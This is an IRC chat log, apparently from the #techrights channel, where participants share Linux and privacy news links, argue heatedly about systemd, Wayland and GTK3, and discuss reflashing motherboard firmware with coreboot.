-TechrightsBot-tr/#techrights-www.bbc.com | BBC News - Hands-on with an Ubuntu phone at MWCMar 14 15:16
TweetTuxMachines........................................  http://ur1.ca/jwoyhMar 14 15:16
-TechrightsBot-tr/#techrights-www.omgubuntu.co.uk | Ubuntu Phone Reviewed by Spiegel OnlineMar 14 15:16
-TechrightsBot-tr/#techrights-www.phonearena.com | Hands-on with the first Ubuntu phone: Say hello to the bq Aquaris 4.5 Ubuntu Edition | PhoneArena reviewsMar 14 15:16
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schestowitzhttps://joindiaspora.com/posts/5710991Mar 14 16:05
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Nmap—Not Just for Evil! http://www.linuxjournal.com/content/nmap%E2%80%94not-just-evil not just for government gangs like #gchq and #nsa eitherMar 14 16:05
-TechrightsBot-tr/#techrights--> www.linuxjournal.com | Nmap—Not Just for Evil! | Linux Journal [ http://ur1.ca/jwp71 ]Mar 14 16:05
schestowitz""Also for Trinity: http://nmap.org/movies/Mar 14 16:05
-TechrightsBot-tr/#techrights-nmap.org | Movies Featuring the Nmap Security ScannerMar 14 16:05
schestowitz"Mar 14 16:05
schestowitzhttps://joindiaspora.com/posts/5741569Mar 14 16:05
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Now that corporations control the Linux Foundation http://uk.businessinsider.com/linux-foundation-reigns-in-linus-torvalds-2015-3?r=US watch the Microsoft boosters exploiting thisMar 14 16:05
schestowitz"Or the #gnu #fsf #libre #foss community ;)"Mar 14 16:05
-TechrightsBot-tr/#techrights--> uk.businessinsider.com | Linux Foundation reigns in Linus Torvalds - Business Insider [ http://ur1.ca/jwp77 ]Mar 14 16:05
schestowitz"Mar 14 16:05
schestowitzI really would like the GNU Project come with a new OS, with Hurd as kernel and no systemd.Mar 14 16:05
schestowitzMore options never hurt.Mar 14 16:05
schestowitz"Mar 14 16:05
schestowitzhttps://joindiaspora.com/posts/5753021Mar 14 16:06
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #Privacy advocates try to keep ‘creepy,’ ‘eavesdropping’ Hello Barbie from hitting shelves http://www.washingtonpost.com/blogs/the-switch/wp/2015/03/11/privacy-advocates-try-to-keep-creepy-eavesdropping-hello-barbie-from-hitting-shelves/Mar 14 16:06
-TechrightsBot-tr/#techrights--> www.washingtonpost.com | Privacy advocates try to keep ‘creepy,’ ‘eavesdropping’ Hello Barbie from hitting shelves - The Washington Post [ http://ur1.ca/jwp7h ]Mar 14 16:06
schestowitz"If your child is doing nothing wrong, your child should have nothing to be concerned about."Mar 14 16:06
schestowitz"sounds like fun, lets try to exploit the protocol"Mar 14 16:06
schestowitzhttps://joindiaspora.com/posts/5607175Mar 14 16:07
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Removing #Systemd from #Debian (and still running a desktop) http://lkcl.net/reports/removing_systemd_from_debian/Mar 14 16:07
schestowitz"I've gotta go with Roy on this one. Nano, all the way."Mar 14 16:07
-TechrightsBot-tr/#techrights--> lkcl.net | Removing Systemd from Debian (and still running a desktop) [ http://ur1.ca/jqrue ]Mar 14 16:07
schestowitz"Nano sucks. I use pencil. :P"Mar 14 16:07
schestowitzIs that an application?Mar 14 16:07
schestowitzhttps://twitter.com/granitevoter/status/576776180872937472Mar 14 16:07
-TechrightsBot-tr/#techrights-@granitevoter: .@schestowitz @MishiChoudhary My copyright WTF was famous buildings trying to control their use in movies.Mar 14 16:07
schestowitzhttps://twitter.com/FrankViewZ/status/576776450877046784Mar 14 16:08
-TechrightsBot-tr/#techrights-@FrankViewZ: @schestowitz Why are white people expats when the rest of us are immigrants? Stop using this racist white supremacist view - S. AsheMar 14 16:08
schestowitzI don't use this white power term (expat), some still do...Mar 14 16:08
*TweetTuxMachines @alberto1you favourited 'Hands-on reviews of Ubuntu phones http://t.co/9vhklTI2TW http://t.co/HiBALhmf79 http://t.co/n9OF7oFOJE'Mar 14 16:19
TweetTuxMachines@tuxmachines     Manjaro #XFCE 0.9.0-pre4 edition releasedMar 14 16:19
TweetTuxMachines                 https://t.co/bMlptiVRKc (manjaro.github.io)Mar 14 16:19
TweetTuxMachines........................................  http://ur1.ca/jwp9uMar 14 16:19
-TechrightsBot-tr/#techrights-manjaro.github.io | Manjaro XFCE 0.9.0-pre4 edition released – Manjaro Linux – Enjoy the simplicityMar 14 16:19
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TweetTuxMachines@tuxmachines     OpenELEC 5.0.6 released http://t.co/u7AmvVdbZ7Mar 14 16:31
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__martin__"non-invasively obtaining it by studying the electromagnetic emissions of — and the amount of power used by — the iPhone’s processor while encryption is being performed"Mar 14 16:48
__martin__- GID key extractionMar 14 16:48
__martin__sometimes I just wonderMar 14 16:50
__martin__how does to top 1% communicate with one another?Mar 14 16:50
__martin__maybe they've got quantum crypto chips.. who knowsMar 14 16:51
__martin__the*Mar 14 16:52
__martin__(or just using fake homeless id and regular market tech)Mar 14 16:53
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schestowitzhttps://twitter.com/kstallett/status/576831001172828161Mar 14 20:53
-TechrightsBot-tr/#techrights-@kstallett: @schestowitz Looks as good as elementary yet without the nasty blog posts.Mar 14 20:53
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MinceRhttp://i.imgur.com/Jo7aaup.pngMar 14 21:43
MinceRhttp://barbwire.wpengine.netdna-cdn.com/wp-content/uploads/2014/10/statism.jpgMar 14 21:49
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DaemonFChttp://population.io/#/1984/04/11/male/United%20States/expectancyMar 14 22:01
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DaemonFC47.5 years left Mar 14 22:01
DaemonFC39.3 if I was born and lived in HungaryMar 14 22:01
MinceRunless we factor in that the nazis will wreck the economy until 2025Mar 14 22:02
DaemonFCApparently, our politicians in the US haven't succeeded in their mission to turn us into a third world country yet.Mar 14 22:02
MinceRif that's their goal, they should learn for orban, matolcsy & co.Mar 14 22:02
MinceRalso, i think marx wrote a book about how to destroy the economy of a countryMar 14 22:02
DaemonFCMinceR, Even Indiana's governor, who is considered to be a right-wing extremist, eventually went ahead and expanded healthcare for the poor.Mar 14 22:03
DaemonFCUsing the federal healthcare funding.Mar 14 22:03
DaemonFCThat caught me by surprise.Mar 14 22:03
DaemonFCI think he's pretending to be further to the right than he actually is.Mar 14 22:04
MinceRs/for/from/Mar 14 22:04
DaemonFCCounting on the fact that more people will see his sound bites on the evening news than will pay attention to what he actually does.Mar 14 22:04
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DaemonFCSome of them have noticed though.Mar 14 22:05
DaemonFCThey're angry that he expanded Medicaid and eventually complied with the court order legalizing gay marriage here.Mar 14 22:05
*MinceR is watching the FSF transform into the Free Windows FoundationMar 14 22:05
MinceRoops, Gratis Windows Foundation.Mar 14 22:05
DaemonFCI've been using Windows 8.1 for a while.Mar 14 22:06
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DaemonFC7 months and 1 BSOD.Mar 14 22:06
MinceRlucky, i guessMar 14 22:06
DaemonFCIt's crashing less than it used to.Mar 14 22:06
DaemonFCI averaged about 1-2 BSODs per month with XP.Mar 14 22:07
DaemonFCAnd they happened just about every day with Windows 98.Mar 14 22:07
DaemonFCThe number of patches from Windows update has been ridiculous though.Mar 14 22:07
DaemonFCIf you break it down into number of bugs fixed, then there's probably been well over 1,000 patches against Windows 8.1 RTM so far.Mar 14 22:08
DaemonFCThey seem to get into this cycle where a Windows release starts getting pretty reliable just before there's a new one out.Mar 14 22:09
DaemonFCThen it starts all over again. New features with lots of bugs.Mar 14 22:09
DaemonFCEveryone seems to know that until the first service pack is out, you're a guinea pig.Mar 14 22:10
DaemonFCHow is the FSF promoting Windows?Mar 14 22:10
DaemonFCThey don't even promote most Linux distributions because of a few nits here and there.Mar 14 22:10
MinceRby accusing people who dare say that the design of systemd (which adops plenty from windows) is badMar 14 22:10
MinceRalso, by promoting systemdMar 14 22:11
MinceRpeople will have no reason to switch from winblows to the Linux-based OS FSF supports if it is just as badMar 14 22:11
MinceRi hope mattl doesn't really represent the FSFMar 14 22:11
XRevan86What I am reading?Mar 14 22:11
MinceRdunnoMar 14 22:12
schestowitzhttps://joindiaspora.com/posts/5746616Mar 14 22:13
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: In #uk we're often asked to give ID (debit/credit/Nectar card etc.) to buy food, but #bbc focuses on #venezuela http://www.bbc.com/news/world-latin-america-31791878Mar 14 22:13
-TechrightsBot-tr/#techrights--> www.bbc.com | BBC News - Venezuela installs finger scanners in supermarkets [ http://ur1.ca/jwgia ]Mar 14 22:13
schestowitz"Come to Venezuela to speak properly and not based on assumptions or stupid conspiracy theories."Mar 14 22:13
XRevan86MinceR: What exactly did systemd adopt from Windows and why is it so much worse than it?Mar 14 22:13
schestowitzhttps://joindiaspora.com/posts/5758567Mar 14 22:14
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Problems that #gnu #linux users never have http://dilbert.com/strip/2015-03-01Mar 14 22:14
-TechrightsBot-tr/#techrights--> dilbert.com | Dilbert Comic Strip on 2015-03-01 | Dilbert by Scott AdamsMar 14 22:14
MinceRXRevan86: the total lack of cohesion and transparency; binary logging; lock-in; purposeful attacks on competitorsMar 14 22:14
schestowitz"Mar 14 22:14
schestowitzDo you mean Windows Genuine Advantage?Mar 14 22:14
MinceRfor a startMar 14 22:14
schestowitzhttps://en.wikipedia.org/wiki/Windows_Genuine_AdvantageMar 14 22:14
-TechrightsBot-tr/#techrights-en.wikipedia.org | Windows Genuine Advantage - Wikipedia, the free encyclopedia [ http://ur1.ca/jwsrv ]Mar 14 22:14
schestowitzHow can this be bad? Look at the name: Genuine Advantage. ADVANTAGE! This is so good that you may have in Linux too:Mar 14 22:14
schestowitzhttp://www.linuxgenuineadvantage.org/Mar 14 22:14
-TechrightsBot-tr/#techrights-www.linuxgenuineadvantage.org | Linux Genuine Advantage™Mar 14 22:14
schestowitz"Mar 14 22:14
MinceRXRevan86: cryptic undocumented blobs tied tightly togetherMar 14 22:14
MinceRoh, also, doing "magic" behind the user's backMar 14 22:15
XRevan86> purposeful attacks on competitorsMar 14 22:15
XRevan86uhm…Mar 14 22:15
XRevan86> binary loggingMar 14 22:15
XRevan86optional, also somewhat justifiedMar 14 22:15
MinceRno, not optionalMar 14 22:15
MinceRall you can do is pull the reconstituted log texts out on the other end and handle themMar 14 22:16
MinceRit's still subject to all sorts of journald bugs for no good reasonMar 14 22:16
MinceRalso, i'd like to see what justifies making logs unhandleable and highly prone to corruptionMar 14 22:16
MinceRi know dave cutler was also stupid enough to do binary loggingMar 14 22:16
XRevan86MinceR: rootkits log alteration proofMar 14 22:16
MinceR1. that doesn't need binary loggingMar 14 22:17
MinceR2. it's not alteration-proofMar 14 22:17
XRevan862. it isMar 14 22:17
MinceRin fact, systemd is a prime target for backdoors as it isMar 14 22:17
XRevan86I thought it's Linux.Mar 14 22:17
MinceRit's cryptic, overly complex and undocumentedMar 14 22:17
MinceRapparently the Linux folks make it too difficult for the NSA to push backdoors inMar 14 22:18
MinceRthey pay too much attention to what's integratedMar 14 22:18
MinceRred hat on the other hand gladly helps the nsa for moneyMar 14 22:18
MinceRin fact, passing the logs through that black box makes for a good place to alter them.Mar 14 22:18
DaemonFCRyan FarmerMar 14 22:21
DaemonFCJust now · Mar 14 22:21
DaemonFCOh, there's an option to add a reminder about your projected date of death to your calendar..... "Remind me later." "Remind me later." "Remind me later."....... B-)Mar 14 22:21
MinceRalso, if systemd was as great as its apologists keep claiming, maybe they shouldn't try to force it down everyone's throatsMar 14 22:22
MinceRif it's so great, surely people will adopt it based on its meritsMar 14 22:23
MinceRthen again, letting people choose is not the Great Exemplars' (m$'s and crApple's) wayMar 14 22:23
XRevan86> cryptic,undocumentedMar 14 22:25
XRevan86uhm, why do you think so?Mar 14 22:25
MinceRi've seen their codeMar 14 22:25
MinceRit's disgusting.Mar 14 22:25
MinceRalso, they hide stuff in binaries instead of using shell scripts like sane init systems doMar 14 22:26
TweetTuxMachines@tuxmachines     SanDisk, Huawei Share http://t.co/XPNwSVebd7Mar 14 22:26
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DaemonFCJ. R. Bob Dobbs (formerly ZOMG Pink Ponies) says:Mar 14 22:26
DaemonFCYeah. I think that some of the Republicans in office really died 20 years ago and the Koch Brothers have them pickled in formaldehyde and stuffed with animatronics.Mar 14 22:26
DaemonFCThat's just my theory.Mar 14 22:26
XRevan86I've seen OpenRC code, it's disgusting, too.Mar 14 22:26
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MinceRcomments are rare in their code, especially comments that explain what a function is supposed to be doingMar 14 22:26
MinceRalso, they purposefully add APIs that are not stable, not documented and telling you that you're not supposed to use themMar 14 22:27
MinceRwhile they use it in their codeMar 14 22:27
MinceRdoes this remind you of the practices of another company?Mar 14 22:27
XRevan86> also, they hide stuff in binaries instead of using shell scripts like sane init systems doMar 14 22:28
XRevan86"hide" is not a very proper word since systemd is FOSS. Anyway, bash is quite… slow and very cryptic so the way to write everything in bash is not effective either.Mar 14 22:28
MinceRyeah, technically freeMar 14 22:28
XRevan86> does this remind you of the practices of another company?Mar 14 22:28
XRevan86Linux Foundation?Mar 14 22:28
MinceRthere are plenty of shells beside bashMar 14 22:28
MinceRi was thinking of microsoftMar 14 22:28
XRevan86MinceR: bash and stuff alike is not designed for anything a bit complicated.Mar 14 22:30
XRevan86and initscripts are made complicated anywayMar 14 22:30
MinceRinitscripts don't have to be complicatedMar 14 22:30
MinceRnot every OS is debian.Mar 14 22:30
MinceRhttp://homepage.ntlworld.com./jonathan.deboynepollard/FGA/run-scripts-and-service-units-side-by-side.htmlMar 14 22:30
-TechrightsBot-tr/#techrights-homepage.ntlworld.com. | FGA: A side-by-side look at run scripts and service units [ http://ur1.ca/jwszf ]Mar 14 22:31
MinceRalso, bash doesn't die horribly if you have an extra line break at the end of the file or somethingMar 14 22:31
XRevan86MinceR: These uncomplicated initscripts I see on this page are all unfunctional.Mar 14 22:32
MinceRhow so?Mar 14 22:32
XRevan86MinceR: How to restart fetchmail via runit?Mar 14 22:32
MinceRi don't know runit well enough, i suppose it kills fetchmail and then starts itMar 14 22:33
XRevan86systemd service on this page can do that.Mar 14 22:33
MinceRhere's an example of a typical OpenBSD rc script: http://www.openbsd.org/faq/ports/specialtopics.html#RcScriptsMar 14 22:33
-TechrightsBot-tr/#techrights-www.openbsd.org | 3 - Special Porting Topics [ http://ur1.ca/jwt0l ]Mar 14 22:33
MinceRoh, you mean restart if it dies?Mar 14 22:33
XRevan86MinceR: No, just restart. "restart if it dies" is not implemented for sure.Mar 14 22:34
MinceRso, where do these units describe how to restart the service?Mar 14 22:34
XRevan86MinceR: systemd knows about forked processes.Mar 14 22:35
MinceRall i see is "Restart=always", which doesn't look like a command lineMar 14 22:35
MinceRso they don'tMar 14 22:35
XRevan86MinceR: It will work.Mar 14 22:35
XRevan86it does work, I meanMar 14 22:35
MinceRand you can tell just by looking at runscripts that they won't. interesting.Mar 14 22:35
MinceRit's the usual routine of people telling me that systemd is absolutely necessary for certain things to work, while they work just fine on the computers i'm using without systemd.Mar 14 22:36
XRevan86MinceR: Yes, because they have a way to start anything at all.Mar 14 22:36
XRevan86do anythingMar 14 22:36
MinceRooh, that must be magic.Mar 14 22:36
XRevan86systemd has some limitationsMar 14 22:36
XRevan86and Type=Mar 14 22:36
XRevan86MinceR: no magickMar 14 22:36
MinceRsurely not the Almighty Systemd?Mar 14 22:37
XRevan86"Type=simple" which is the default means that ExecStart starts something undaemonizedMar 14 22:37
XRevan86and so systemd looks for it and its childrenMar 14 22:37
XRevan86and kills it with systemctl stop fooMar 14 22:38
XRevan86in anything more is required, there is ExecStopMar 14 22:38
XRevan86and restart == stop & startMar 14 22:38
XRevan86and so autorestart can also be implemented since systemd knows when a process is killedMar 14 22:39
XRevan86MinceR: With plain scripts you simply have to define stop() behavior, overwise there is none. And so I see runit doesn't have it.Mar 14 22:39
MinceRafaik most of these service managers assume by default that the service doesn't fork, as it shouldn'tMar 14 22:41
MinceRsome of them include tools to work around those who insist on forkingMar 14 22:41
XRevan86MinceR: Yeah, systemd does that.Mar 14 22:42
XRevan86Type=forkingMar 14 22:42
MinceRit's a pity systemd still doesn't do the one thing pid1 should properlyMar 14 22:42
MinceRthat is, reaping zombiesMar 14 22:42
XRevan86MinceR: It does that.Mar 14 22:42
MinceRno, it does not.Mar 14 22:42
XRevan86overwise there would be a lot of zombies everywhereMar 14 22:42
MinceRi've seen reports of hundreds of zombies on systemd machines.Mar 14 22:43
XRevan86MinceR: I've seen something like that once.Mar 14 22:43
MinceRhttps://bugs.freedesktop.org/show_bug.cgi?id=41625Mar 14 22:43
XRevan86Don't remember the cause.Mar 14 22:43
-TechrightsBot-tr/#techrights-bugs.freedesktop.org | Bug 41625 – systemd apparently doesn't reap zombies [ http://ur1.ca/jwt51 ]Mar 14 22:43
MinceRit's cute how they believe it's not their bugMar 14 22:43
MinceRi wonder which process is supposed to reap zombies in their opinionMar 14 22:44
XRevan86systemd was kinda disfunctional back thenMar 14 22:44
XRevan86I don't remember what exactly I didMar 14 22:44
XRevan86to make it stop working, I meanMar 14 22:44
MinceRyet they were forcing it everywhereMar 14 22:45
MinceRand it's still dysfunctionalMar 14 22:45
MinceRand they've managed to force it on most distrosMar 14 22:45
XRevan86MinceR: I meant disfunctional zombie killing.Mar 14 22:45
XRevan86which I had onceMar 14 22:45
XRevan86maybe I'll remember tomorrowMar 14 22:46
MinceReven the one-liner init does it properlyMar 14 22:46
MinceRhow difficult can it be?Mar 14 22:46
XRevan86> yet they were forcing it everywhereMar 14 22:46
XRevan86They don't do marketing you know.Mar 14 22:46
MinceRi doubt thatMar 14 22:47
MinceRhere's a systemd apologist doing marketing for them right now :>Mar 14 22:47
XRevan86MinceR: They didn't ask %).Mar 14 22:47
XRevan86MinceR: Also I didn't start this <:Mar 14 22:48
MinceRapparently i didMar 14 22:49
MinceRapparently i went and held the debian TC at gunpoint to force them to turn debian into lendowsMar 14 22:49
XRevan86MinceR: In the same way I can call you a Microsoft spy who destablize the GNU/Linux platform by making the component adopted by so many good distros look bad :-P.Mar 14 22:50
MinceRit's not the GNU/Linux platform anymore, it's the systemd/Linux platformMar 14 22:53
MinceRand red hat and the systemd cult is destabilizing GNU/LinuxMar 14 22:53
XRevan86GPL/Linux then maybe?Mar 14 22:53
MinceRno, systemd is LGPL-edMar 14 22:55
XRevan86MinceR: Cult? systemd devs didn't accept KDE guys into a cult organization as far as I know.Mar 14 22:56
XRevan86They also didn't kill ConsoleKit.Mar 14 22:56
MinceRalso, its dbus APIs open the door for proprietary blob implementationsMar 14 22:56
MinceRwell, they abandoned ConsoleKitMar 14 22:56
MinceRafaik some Devuan developer is adopting itMar 14 22:56
XRevan86They've made an API that was nessesary in a way they develop things.Mar 14 22:57
MinceRyeah, because commands are impossible to execute nowMar 14 22:57
XRevan86logind is a needed thing, I mean.Mar 14 22:57
MinceRand conveniently with kdbus they'll make those APIs impossible to implement on any other kernel, including HURDMar 14 22:57
MinceRnot by me, certainly.Mar 14 22:57
XRevan86and so think GNOME and KDE developersMar 14 22:58
MinceRand the FSF just stands by and cheers them on as they destroy HURD.Mar 14 22:58
XRevan86Since there is now a thing called LoginKit, it's not such Evil anyway.Mar 14 22:58
MinceRno thanks to the cancerd cultMar 14 22:58
XRevan86still apparently LoginKit has the same issues as ConsoleKit as is a layer above itMar 14 22:59
XRevan86so can't really be an example of "we don't need systemd devs to make GNU/Linux evolve"Mar 14 23:00
MinceRgood thing systemd is here to save usMar 14 23:00
XRevan86Okay, now I sound like a fanatic.Mar 14 23:00
MinceRthat's because you are.Mar 14 23:00
MinceRhttp://without-systemd.org/wiki/index.php/Arguments_against_systemdMar 14 23:02
-TechrightsBot-tr/#techrights-without-systemd.org | Arguments against systemd - Without Systemd [ http://ur1.ca/jwtd5 ]Mar 14 23:02
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XRevan86MinceR: I just don't like some kind of statements.Mar 14 23:32
MinceRi don't like the bad design and code poettering, red hat and gnome people are pushing and i don't like the brutally aggressive way they're doing so.Mar 14 23:33
XRevan86MinceR: Can you believe I am told to be a Ukranian Maidan supporter and an anti-Ukrainian independence soviet communist?Mar 14 23:33
MinceRi also don't like that clueless windows users are taking over free software and free unix-like operating systemsMar 14 23:34
MinceRclueless apple users tooMar 14 23:34
MinceRXRevan86: by the same person?Mar 14 23:35
XRevan86MinceR: No, by persons who have the opposite to these viewsMar 14 23:35
MinceRthey seem to be more or less the opposite of each otherMar 14 23:35
XRevan86different sides of the barricade hate me equallyMar 14 23:36
XRevan86> code poetteringMar 14 23:38
XRevan86http://cgit.freedesktop.org/systemd/systemd/log/Mar 14 23:38
-TechrightsBot-tr/#techrights-cgit.freedesktop.org | systemd/systemd - System and Session Manager [ http://ur1.ca/jwtsi ]Mar 14 23:38
XRevan86> and i don't like the brutally aggressive way they're doing soMar 14 23:40
XRevan86GNOME guys are the different story.Mar 14 23:40
XRevan86the do things in a way "do to hell, we do innovations in our own Apple^W GNOME way"Mar 14 23:40
XRevan86go to*Mar 14 23:40
MinceRand they've infiltrated the management of debian and they're pushing their agenda there as wellMar 14 23:41
XRevan86I don't think shit like Gtk3 in a general Red Hat policy.Mar 14 23:41
MinceRafaik gnome is mainly backed by red hatMar 14 23:42
MinceRand unfortunately gtk is managed by gnome peopleMar 14 23:42
XRevan86MinceR: It's backed by them, yeah. It doesn't mean Red Hat influence GNOME.Mar 14 23:42
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MinceRfollow the money.Mar 14 23:43
XRevan86Gtk3 is a true downer of desktop GNU/Linux.Mar 14 23:43
XRevan86making life harder in $PLACE_NOT_GNOMEMar 14 23:44
XRevan86_AND_UNITYMar 14 23:44
XRevan86True though that Gtk3 is easier for developers than Gtk2, but from users perception there is only one advantage: native Wayland support.Mar 14 23:46
MinceRand in accordance with wayland, gtk3 supports client-side decorationsMar 14 23:47
MinceRanother idiotic thing from windows.Mar 14 23:47
MinceRand most wayland implementations only support client-side decorationsMar 14 23:48
XRevan86MinceR: From what I see, Wayland doesn't have a problem with window decorations.Mar 14 23:48
MinceRit doesn't have a problem with them, as long as the client draws and manages themMar 14 23:48
MinceRfinally if an application freezes, you can have unmanageable windowsMar 14 23:48
XRevan86MinceR: Weston does draw somethingMar 14 23:48
MinceRthough at least you can probably do something to them via a panelMar 14 23:49
MinceRfinally they can have all the bugs they liked in windows.Mar 14 23:49
XRevan86http://i1-linux.softpedia-static.com/screenshots/Wayland_1.pngMar 14 23:49
MinceRwhat terminal application is that?Mar 14 23:49
XRevan86MinceR: Looks like wltermMar 14 23:50
XRevan86or how does the default thingy calledMar 14 23:51
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XRevan86Good night.Mar 14 23:53
XRevan86MinceR: I'll try tomorrow to start something native on Weston to see if there are decorations.Mar 14 23:53
XRevan86unless I'll forget to do so %)Mar 14 23:53
MinceRafaik the wayland implementation gnome uses is mutter, thoughMar 14 23:54
MinceRgn XRevan86 Mar 14 23:54
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MinceR"wlterm draws its own decoration"Mar 14 23:58
MinceRso much for that.Mar 14 23:58
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msb_Regarding KDE, one must distinguish between KDE3/TrinityDE and KDE4.  I'm still using KDE3 and it works fine.  I'm using some KDE4 apps with it -- konversation, konsole, okular, SysMon -- as they have been improved.Mar 08 01:03
cubexyzmsb_, the worry now is that trinity start using systemdMar 08 01:06
cubexyzwill start using systemdMar 08 01:06
msb_But KDE4 itself has severe problems (in addition to soon adopting systemd):  The 20 virtual desktops, which I find extremely important for keeping my desktop uncluttered by having separate ones for Mail, Music, Website, cannot be used in KDE4 because the desktop names are not visible in the desktop selector (pager) buttons.Mar 08 01:07
msb_cubexyz: IMar 08 01:07
cubexyzmaybe one can run it without systemd, I don't know what's happening there yetMar 08 01:07
msb_I'm on the TDE lists and they swear they will not use systemd.Mar 08 01:07
cubexyzmsb_, okMar 08 01:07
msb_A lot of TDE people hate systemd.  They're no fools!Mar 08 01:08
cubexyzthat's good newsMar 08 01:08
cubexyzI have the full source code of KDE 3.4.2 and also 3.5.10 Mar 08 01:08
msb_Great!  Please especially keep the source of KDE3.5.10.Mar 08 01:09
cubexyzyears ago 3.4.2 disappeared, so I archived 3.5.10 as wellMar 08 01:09
msb_I'm using 3.5.10 and have been for years.Mar 08 01:09
cubexyzis there any distro that is trinity oriented?Mar 08 01:10
cubexyzI haven't looked at it in a whileMar 08 01:10
msb_If I have to load in some extra libs like Qt to run it or TDE with a future distro, that's fine with me.Mar 08 01:10
cubexyzQ4OS seemed like it's a trinity dealMar 08 01:11
cubexyzhttp://q4os.orgMar 08 01:11
msb_I have 8GB of RAM now and TBs of disk, so using additional libs is fine with me.  I don't care about such "bloat" as long as it serves a purpose.Mar 08 01:12
-TechrightsBot-tr/#techrights-q4os.org | Q4OS - desktop operating systemMar 08 01:12
cubexyzyou're no minimalist :)Mar 08 01:13
msb_I keep old libs around to run apps I like such as xmms, for which I have hundreds of little equalizer files for songs.Mar 08 01:13
msb_I don't want to waste space, but minimizing it is a low priority.Mar 08 01:14
cubexyzhmmm...debian basedMar 08 01:16
msb_Looking like MSWindows is a negative for m3!Mar 08 01:16
msb_me!Mar 08 01:16
msb_Linux is part of my soul!Mar 08 01:17
msb_MS is from Satan!Mar 08 01:17
cubexyzdidn't you use Unix before you got into Linux?Mar 08 01:18
msb_Anyhow, I'm used to an RPM system, but I don't mind switching to apt with Devuan,Mar 08 01:18
msb_One of TDE's primary builds is for Debian, so presumably it will work fine with Devuan.Mar 08 01:20
msb_Yep!Mar 08 01:20
msb_Remote user at U of Pennsylvania.  Via phone modem, and terminal emulator up/downloader I wrote in BASIC.Mar 08 01:22
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msb_Then I switched to some local (Si Valley) ISP whose name I forget at the moment that was cheaper.  They gave us all of 10MB space in our accounts.  wowie.Mar 08 01:24
msb_It was Netcom.Mar 08 01:25
msb_I helped them in a war against Scientology!Mar 08 01:26
cubexyzthe one thing that bothers me about computers is there was never a computer that came with full source codeMar 08 01:26
cubexyzmaybe the PDP-11, but I don't really knowMar 08 01:26
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msb_Well, today's desktops, plus Linux, are well defined at the module level at least.Mar 08 01:27
msb_If you use AMD and not evil Intel, at leastMar 08 01:27
msb_!Mar 08 01:27
cubexyzI got to look at secure boot source code the other dayMar 08 01:28
msb_For $800 today, how many times the performance of an 11/70 do we get?Mar 08 01:28
cubexyzit's massive :-/Mar 08 01:29
msb_But can CoreBoot be substituted for it?Mar 08 01:29
cubexyzgood questionMar 08 01:30
msb_At least with an AMD cpu.Mar 08 01:30
cubexyzI probably can reflash it with a test keyMar 08 01:30
cubexyzexcept I don't have the toolchain as yet (which is all microsoft)Mar 08 01:31
cubexyzoh I have the full source for secure boot so... :)Mar 08 01:31
cubexyzfor my own box, yes I can do what I want with the test key I haveMar 08 01:31
msb_Does coreboot live on disk and get read in by the mobo eprom boot code.  Or do you flash coreboot onto the mobo eprom?Mar 08 01:32
cubexyzI use an eprom programmer for thatMar 08 01:32
cubexyzyes, it's programmed on the flash chipMar 08 01:32
msb_Is that chip in a socket?Mar 08 01:32
cubexyzsometimes it isMar 08 01:33
msb_On modern mobos?Mar 08 01:33
cubexyzummm, I'm probably out of date on the newest stuffMar 08 01:33
msb_eprom programmers are cheap enoughMar 08 01:33
msb_$50 or so.,Mar 08 01:33
cubexyzBX chipset is the one I know best, spent a lot of time on thatMar 08 01:34
msb_how old is that?Mar 08 01:34
cubexyzP3 era :)Mar 08 01:35
cubexyzif you want coreboot then the easiest way is to buy a chromebook and stick linux on itMar 08 01:37
msb_Eventually I want to upgrade to that 8-core amd cpu FX8350 -- cheap and fast enough.  That should hold me for 8 years or so.  8^)Mar 08 01:37
msb_I might want a notebook too, but mainly I want a desktop -- lots of RAM and disk.Mar 08 01:38
msb_I like to keep lots of music movies and TV spinning in case I get an urge.Mar 08 01:39
msb_It's part of my mind, after all.Mar 08 01:39
cubexyzI'll probably get a X60 thinkpadMar 08 01:39
msb_My external memory, as they say in Ghost in the Shell.Mar 08 01:39
cubexyzyou have to be pretty knowledgeable about the hardware to actually edit BIOSMar 08 01:41
cubexyzif you mess up... it's brick timeMar 08 01:41
cubexyzof course with a socketed flash chip... no big dealMar 08 01:42
msb_JUst what I was going to say!Mar 08 01:42
cubexyzI fear the new motherboards are not socketedMar 08 01:42
msb_Is it possible to program a sockMar 08 01:43
msb_Is it possible to program a soldered in eprom with a clip-on cable?Mar 08 01:44
msb_...from a programmer?Mar 08 01:44
cubexyzsureMar 08 01:44
msb_Really?  without damaging the drivers on the mobo?Mar 08 01:45
cubexyzusually one would desolder the eprom Mar 08 01:45
msb_driver chips/transistorsMar 08 01:45
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msb_well, then you'd put in a socketMar 08 01:46
cubexyzzif socket yes :)Mar 08 01:46
cubexyzI glued push pins on mineMar 08 01:46
msb_Well,, a mobo costs $200 or less, so if it gets fucked up its not the end of the world.Mar 08 01:47
cubexyzbut it was already socketed, the push pins just help get the chip off the boardMar 08 01:47
msb_Interesting!Mar 08 01:47
msb_zif is idealMar 08 01:48
cubexyzyes, zif would have been betterMar 08 01:48
msb_We will figure out how to do this and then we will have Freedom!Mar 08 01:48
cubexyzmy Plan 9 computer has coreboot :)Mar 08 01:49
msb_And we'll tell everyone else in the World about it!Mar 08 01:49
msb_Bravo!Mar 08 01:49
cubexyzthe hackers have already cracked secure boot actuallyMar 08 01:49
cubexyzI figured they wouldMar 08 01:49
msb_Great!Mar 08 01:49
msb_They always do!Mar 08 01:50
cubexyzthe tide has turned I think.... you can buy chromebooks in lots of stores, and also chromeboxesMar 08 01:51
cubexyzI think the chromeboxes have coreboot as wellMar 08 01:51
msb_Cool!Mar 08 01:52
msb_http://www.imdb.com/title/tt0218817/combinedMar 08 01:53
-TechrightsBot-tr/#techrights-www.imdb.com | Antitrust (2001) [ http://ur1.ca/jvb0z ]Mar 08 01:53
msb_You've seen that movie?Mar 08 01:53
cubexyzno, I haven't watched it as yetMar 08 01:53
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cubexyzall chromeboxes have corebootMar 08 01:57
msb_check your mailMar 08 01:57
msb_It's a super-great anti-MS movie.Mar 08 01:59
msb_MS murders open-source developers for their code.Mar 08 03:00
cubexyzyeah no wonder it was put out in 2001Mar 08 03:11
cubexyzin 2000 M$ had pretty well reached their peakMar 08 03:11
